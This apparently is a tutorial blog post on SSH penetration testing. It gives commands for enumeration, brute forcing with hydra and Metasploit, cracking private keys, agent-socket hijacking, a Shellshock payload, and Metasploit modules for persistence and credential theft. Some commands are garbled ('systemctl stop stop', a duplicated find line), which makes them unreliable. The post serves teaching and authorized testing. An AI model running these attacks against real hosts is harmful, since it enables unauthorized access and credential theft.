SSH Penetration Testing Fundamentals
SSH Penetration Testing Fundamentals

SSH Penetration Testing Fundamentals (Free Guide)

Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly.

Understand SSH Protocol

Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host.

Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely.

SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure.

Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins.

Read more about Pivoting using SSH

Managing SSH Service

Verify SSH Server Status

systemctl status ssh

Start SSH Service

systemctl start ssh

Stop SSH Service

systemctl stop stop

Restart SSH Service

systemctl restart stop

Define SSH server to start on boot

systemctl enable ssh

SSH Interesting Files

When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker.

Client Config

SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file:

vi /etc/ssh/ssh_config

Server Config

This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks.

vi /etc/ssh/sshd_config

Recommendation: Active tunnel settings and agent relay, help you with lateral movement.

Authorized Keys

This file contains the public keys that are authorized to access a user’s account, which can be targeted by an attacker to gain unauthorized access.

vi /etc/ssh/authorized_keys

Known Hosts

cat /home/rfs/.ssh/known_hosts

RSA Keys

Default folder containing

cd ~/.ssh
cd /home/rfs/.ssh

Attack SSH port 22

SSH Penetration Testing

Ok, let’s talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually.

Some questions to ask before starting enumerating

  • Is there any SSH server running?
  • On what Port?
  • What version is running?
  • Any Exploit to that version?
  • What authentication type is used? Passwords / RSA Keys
  • It is blocking brute force?

After we have all the answers we can start thinking about what to do, If don’t have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits.

Damn it, we are stuck :/

It’s time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom.

Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In!

Haha is not so easy, but OK, we are learning…

SSH Enumeration

After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version and for that, we can use Nmap.

nmap -sV -p22 192.168.1.96

SSH Banner Grabber

Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it.

Banner grabbing can be useful for several reasons, including:

  1. Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used.
  2. Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information.
  3. Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server.

There are several tools that can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed.

nc 192.168.1.96 22

SSH Banner

If we try to connect using the verbose parameter we can check all information necessary to authenticate on the remote server.

ssh -v 192.168.1.96

SSH Servers ListWebsite
Dropbear Server
OpenSSH Server
wolfSSH Server
CopSSH Server
Cisco SSH Server
IBM SSH
It is important to note that some administrators may choose to disable banner messages or customize them to obscure information for security reasons, so banner grabbing should not be relied upon as the only method for identifying SSH servers.

Detect SSH Authentication Type

To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH.

Here’s how you can check the SSH authentication type on a Linux system:

  1. Open the system log file at /var/log/auth.log using your preferred text editor.
  2. Search for the line that contains the user login information you want to check.
  3. Look for the “Accepted” keyword in the line, which indicates that the authentication was successful.
ssh -v 192.168.1.96

SSH authentication types

Attack SSH port 22

At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra.

Bruteforce SSH Service

hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96
crackmapexec ssh -U user -P passwd.lst 192.168.1.96
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.96
set user_file user.txt
set pass_file password.txt
run

Crack SSH Private Keys

ssh2john id_rsa.priv hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py

Default Credentials

https://github.com/PopLabSec/SSH-default-Credentials

SSH Bad Keys

Some embedded devices have static SSH keys, you can find a collection of keys here:

https://github.com/poplabdev/ssh-badkeys

SSH Exploits

VersionExploit
OpenSSH <7.4
SSH Exploits

LibSSH RCE

CVE-2018-10933

Post Exploitation

Persistence

use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set session 1
msf post(sshkey_persistence) >exploit

SSH User Code Execution

msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) >set rhosts 192.168.1.103
msf exploit(sshexec) >set username rfs
msf exploit(sshexec) >set password poplabsec
msf exploit(sshexec) >set srvhost 192.168.1.107
msf exploit(sshexec) >exploit

Lateral Movement

Steal SSH credentials

If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine.

use post/multi/gather/ssh_creds
msf post(ssh_creds) > set session 1
msf post(ssh_creds) > exploit

Search SSH Keys files

find / -name *id_rsa* 2>/dev/null

Search SSH Key files inside file content

find / -name *id_rsa* 2>/dev/null

SSH Hijacking

Find the SSHd process

ps uax|grep sshd
# Attacker looks for the SSH_AUTH_SOCK on victim's environment variables
grep SSH_AUTH_SOCK /proc/<pid>/environ

Attacker hijack’s victim’s ssh-agent socket

SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l

An attacker can log in to remote systems as the victim

ssh 192.168.1.107 -l victim

SSH and ShellShock

LC_X='() { :; }; echo vulnerable' ssh rfs@poplabsec.com -o SendEnv=LC_X

SSH Tunnels

Working with RSA Keys

SSH Port 22 Vulnerabilities

sshaudit

SSH-KeyGrab

CrackMapExec

FTP Penetration Testing

RDP Penetration Testing

SMB Penetration Testing

PostgreSQL Penetration Testing

F.A.Q

What is SSH Penetration Testing?

SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.

What are the standard SSH Penetration Testing techniques?

Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.

What is the purpose of SSH Penetration Testing?

The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.

Can SSH Penetration Testing be performed without permission?

No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.

What should be done after SSH Penetration Testing?

After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system.